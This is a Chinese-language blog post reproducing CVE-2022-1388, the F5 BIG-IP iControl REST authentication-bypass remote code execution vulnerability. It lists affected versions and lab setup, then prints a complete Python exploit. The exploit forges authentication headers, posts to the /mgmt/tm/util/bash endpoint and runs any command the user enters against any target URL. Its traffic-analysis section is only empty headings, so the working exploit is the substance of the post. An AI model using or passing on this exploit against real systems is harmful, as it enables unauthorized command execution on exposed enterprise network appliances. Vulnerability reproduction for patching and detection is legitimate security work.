目录

0x01 声明:

0x02 简介:

0x03 漏洞概述:

0x04 影响版本:

0x05 环境搭建:

下载环境:(要注册账号)

登录页面:

0x06 漏洞复现:

EXP地址:

修改EXP:

利用EXP:

0x07 流量分析:

说明:

特征一:(看到这个特征我就想起来CVE-2021-22986这个漏洞。)

特征二:

特征三:

0x08 修复建议:


0x01 声明:

仅供学习参考使用,请勿用作违法用途,否则后果自负。

0x02 简介:

F5Networks(纳斯达克: FFIV),全球领先的应用交付网络(ADN)领域的厂商,创建于1996年,总部位于美国西雅图市,F5为全球大型企业、运营商、政府与消费品牌提供更加快速、安全以及智能的应用,通过交付云与安全解决方案,F5帮助企业在不损失速度与管理性的同时享有它们所需的应用架构 。

0x03 漏洞概述:

F5官网发布安全公告,披露F5 BIG-IP存在一处远程代码执行漏洞(CVE-2022-1388)。漏洞存在于iControl REST组件中,该漏洞允许定义身份验证的攻击者通过 BIG-IP 管理界面和自身IP地址对 iControl REST API 接口进行网络访问,进而导致可以在目标主机上执行任意系统命令、创建或删除文件或禁用BIG-IP上的服务。

0x04 影响版本:

BIG-IP 16.x: 16.1.0 - 16.1.2
        BIG-IP 15.x: 15.1.0 - 15.1.5
        BIG-IP 14.x: 14.1.0 - 14.1.4
        BIG-IP 13.x: 13.1.0 - 13.1.4
        BIG-IP 12.x: 12.1.0 - 12.1.6
        BIG-IP 11.x: 11.6.1 - 11.6.5

0x05 环境搭建:

下载环境:(要注册账号)

F5 - Login 选择存在漏洞版本。

选择OVA格式下载后直接导入VMware Workstation

登录页面:

0x06 漏洞复现:

EXP地址:

GitHub - bytecaps/CVE-2022-1388-EXP: CVE-2022-1388 F5 BIG-IP RCE 批量检测

修改EXP:

import requests
import json
import ssl
import urllib3urllib3.disable_warnings()
ssl._create_default_https_context = ssl._create_unverified_context
requests.packages.urllib3.disable_warnings()def attack(target_url, cmd):headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",'Content-Type': 'application/json','Connection': 'Keep-Alive, X-F5-Auth-Token, X-Forwarded-Host','X-F5-Auth-Token': 'a','Authorization': 'Basic YWRtaW46'}attack_url = target_url + '/mgmt/tm/util/bash'data = {'command': "run", 'utilCmdArgs': "-c '{0}'".format(cmd)}try:response = requests.post(url=attack_url, json=data, headers=headers, verify=False, timeout=5)if response.status_code == 200 and 'commandResult' in response.text:default = json.loads(response.text)display = default['commandResult']print("[+] 目标 {} 存在漏洞".format(target_url))print('[+] 响应为:{0}'.format(display))else:print("[-] 目标 {} 不存在漏洞".format(target_url))except Exception as e:print('url 访问异常 {0}'.format(target_url))if __name__ == '__main__':target_url = input("请输入URL:")cmd = input("请输入执行的命令:")attack(target_url, cmd)print(target_url, cmd)

利用EXP:

0x07 流量分析:

说明:

由于抓到的流量都是TLS加密的流量,研究了很多天都没办法解密,所以只能分析EXP了,从EXP中不难发现有三个特征。

特征一:(看到这个特征我就想起来CVE-2021-22986这个漏洞。)

特征二:

特征三:

0x08 修复建议:

当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。

链接:https://downloads.f5.com

CVE-2022-1388 F5 BIG-IP权限绕过命令执行漏洞复现相关推荐

  1. CVE-2022-0543:redis lua沙盒绕过命令执行漏洞复现

    #Redis简介 Redis 全称 Remote Dictionary Server(即远程字典服务),它是一个基于内存(当然也可以把其存储至硬盘上,这也是写shell的必要条件之一)实现的键值型非关 ...

  2. couchdb 权限绕过 (CVE-2017-12635)复现

    couchdb 权限绕过 (CVE-2017-12635)复现 couchdb 权限绕过 (CVE-2017-12635)复现 0x01 漏洞描述 0x02 影响范围 0x03 漏洞复现 工具反弹sh ...

  3. 绕过WAF运行命令执行漏洞的方法大全

    文章目录 **前言** **一.windows下** 二.进入linux 三.一个有趣的例子 总结 前言 作者:掌控安全-桐镜 今天发散一下思维,聊聊关于命令执行漏洞绕过过滤的方法,让我们一起由浅入深 ...

  4. 简谈命令执行漏洞绕过过滤

    原文: https://mp.weixin.qq.com/s?__biz=MzUyODkwNDIyMg==&mid=2247503891&idx=1&sn=791096c5cb ...

  5. 命令执行漏洞-命令执行-漏洞位点- 代码注入-漏洞利用-联合执行-Bypass(空格,关键字过滤,变量绕过)-例题两道-actf2020exec-GXYCTF2019 Ping Ping Ping

    命令执行 命令执行是一种攻击,其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令.当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数. 比如PHP中的system,e ...

  6. 【CVE】CVE-2019-9193:PostgreSQL 任意命令执行漏洞

    起序:客户内网测试的时候遇到的,搭建一个环境,写个笔记记录一下. 一.靶场环境 使用的是 github 上的 vulhub 环境.PostgreSQL 版本为 10.7. vulhub:https:/ ...

  7. linux dac 的权限,Samba CAP_DAC_OVERRIDE文件权限绕过安全限制漏洞

    发布日期:2010-03-09 更新日期:2010-03-11 受影响系统: Samba Samba 3.5.0 Samba Samba 3.4.6 Samba Samba 3.3.11 不受影响系统 ...

  8. CVE-2020-16838 Windows tcp/ip 远程代码执行漏洞复现

    漏洞环境 攻击机:windows 10 (python版本:3.7 ,安装了scapy依赖) 受害机环境:windows10 1909 受害机网络开启ipv6支持 打开cmd输入ipconfig查看受 ...

  9. 通达oa 不允许从该ip登陆_通达OA-命令执行漏洞复现

    通达OA-命令执行 一.环境 安装文件: 链接:https://pan.baidu.com/s/1Y78Zs-7Igi4MRE0J_Dp-dQ 提取码:2b3i 二.漏洞验证 任意文件上传漏洞 /is ...

最新文章

  1. java arraylist 当参数_关于java:为什么修改了ArrayList参数,但没有修改String参数?...
  2. c++ map嵌套队列(队列嵌套结构体指针)ok
  3. IPFS网络是如何运行的(p2p网络)
  4. 回顾微软近年来对于Linux和开源的策略
  5. 使用 Nginx 提升网站访问速度(转)
  6. java string sscanf_倾情奉献——JAVA sscanf函数!!!
  7. 多元线性回归数据集_TensorFlow学习Program1——13.实现一元、多元线性回归(基于房价数据集)...
  8. python效率numpy_Python数据处理性能对比,原生,Pandas,Numpy哪个更优秀
  9. (转载)Stackoverflow让我们变懒了?
  10. 微波工程(第三版)中关于史密斯圆图部分总结
  11. vue+django实现下载文件
  12. Map集合常见面试题
  13. php opendir(),php之opendir()函数的用法
  14. 性能测试 - 响应时间的衡量指标 RPS Average Min Max P90 P95 P99
  15. HTL/TTL转光纤模块
  16. 金昌搜索引擎优化网络推广_金昌网站推广,金昌网站推广平台,金昌企业网站推广-奇秀云AI智能推广系统-奇秀网...
  17. 简述linux的系统组成,简述Linux系统结构
  18. 程序员笔试题收集汇总(三)
  19. C语言--实现汉诺塔【图文讲解,附代码】
  20. NPOI 读取空Excel 空单元格报错的问题

热门文章

  1. Android 写自己的开源库,发布到 JitPack
  2. 【HCIE考试喜报】2022年11月11日考试通过
  3. 【暮色天】世界杯完美谢幕 金银重回震荡?(7.14)
  4. Manifest基本
  5. 一个序列的子序列个数
  6. main map java_Java从入门到实战之(12)Map示例大全(一)
  7. python正则表达式(一)
  8. 1:基本初等函数的性质
  9. 键入一个整数,判断是否是质数(两种方法)
  10. 分析DLL搜索顺序劫持的原理